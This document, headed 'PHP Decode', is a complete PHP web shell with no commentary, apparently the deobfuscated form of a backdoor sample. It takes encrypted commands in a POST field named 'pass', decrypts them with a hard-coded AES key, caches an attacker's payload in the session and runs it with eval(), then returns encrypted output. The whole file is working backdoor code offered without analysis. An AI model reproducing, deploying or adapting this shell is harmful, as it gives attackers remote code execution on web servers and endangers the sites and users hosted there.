PHP Decode

<?php 
@session_start(); 
@set_time_limit(0); 
@error_reporting(0); 
function encryption($data, $mode,$key) { 
    $result = false; 
    $iv = ""; 
    $blocksize = 16; 
    $size = strlen($data)%16; 
    if (function_exists("openssl_encrypt") && $mode<2) { 
        if ($mode == 1) { 
            $pad = $blocksize - (strlen($data) % $blocksize); 
            $data.= str_repeat(chr($pad), $pad); 
            $result = @openssl_encrypt($data, "AES-128-ECB", $key, OPENSSL_RAW_DATA | OPENSSL_ZERO_PADDING,$iv); 
        } else if (!$size){ 
            $result = @openssl_decrypt($data, "AES-128-ECB", $key, OPENSSL_RAW_DATA | OPENSSL_ZERO_PADDING,$iv); 
        } 
    } else if (function_exists("mcrypt_encrypt")&&$mode<2) { 
        if ($mode == 1) { 
            $pad = $blocksize - (strlen($data) % $blocksize); 
            $data.= str_repeat(chr($pad), $pad); 
            $result = @mcrypt_encrypt("rijndael-128", $key, $data, "ecb", $iv); 
        } else if (!$size){ 
            $result = @mcrypt_decrypt("rijndael-128", $key, $data, "ecb", $iv); 
        } 
    } 
    if (!$result) 
    { 
        $len = strlen($data); 
        $keyLen = strlen($key); 
        $index = 0; 
        for ($i = 1; $i <= $len; $i++) { 
            $index = $i - 1; 
            $data[$index] = $data[$index] ^ $key[($i % $keyLen)]; 
        } 
        return $data; 
    } 
    if ($mode == 0) { 
        $pad = ord($result { 
        strlen($result) - 1 
        }); 
        if ($pad > strlen($result)) return false; 
        if (strspn($result, chr($pad), strlen($result) - $pad) != $pad) return false; 
        $result = substr($result, 0, -1 * $pad); 
    } 
    return $result; 
} 
 
$pass = 'pass'; 
$payloadName = 'payload'; 
$key = '3c6e0b8a9c15224a'; 
if (isset($_POST[$pass])) { 
    $data = base64_decode($_POST[$pass]); 
    if (isset($_SESSION[$payloadName])) { 
        $payload = encryption($_SESSION[$payloadName],0, $key); 
        if (strpos($payload, "getBasicsInfo") === false) { 
            $payload = encryption($_SESSION[$payloadName],0, $key); 
        } 
        $data = encryption($data,0, $key); 
        eval($payload); 
        echo substr(md5($pass.$key), 0, 16); 
        echo base64_encode(encryption(@run($data),1,$key)); 
        echo substr(md5($pass.$key), 16); 
    } else { 
        $data = encryption($data,2,$key); 
        if (strpos($data, "getBasicsInfo") !== false) { 
            $_SESSION[$payloadName] = encryption($data,1, $key); 
        } 
    } 
} ?>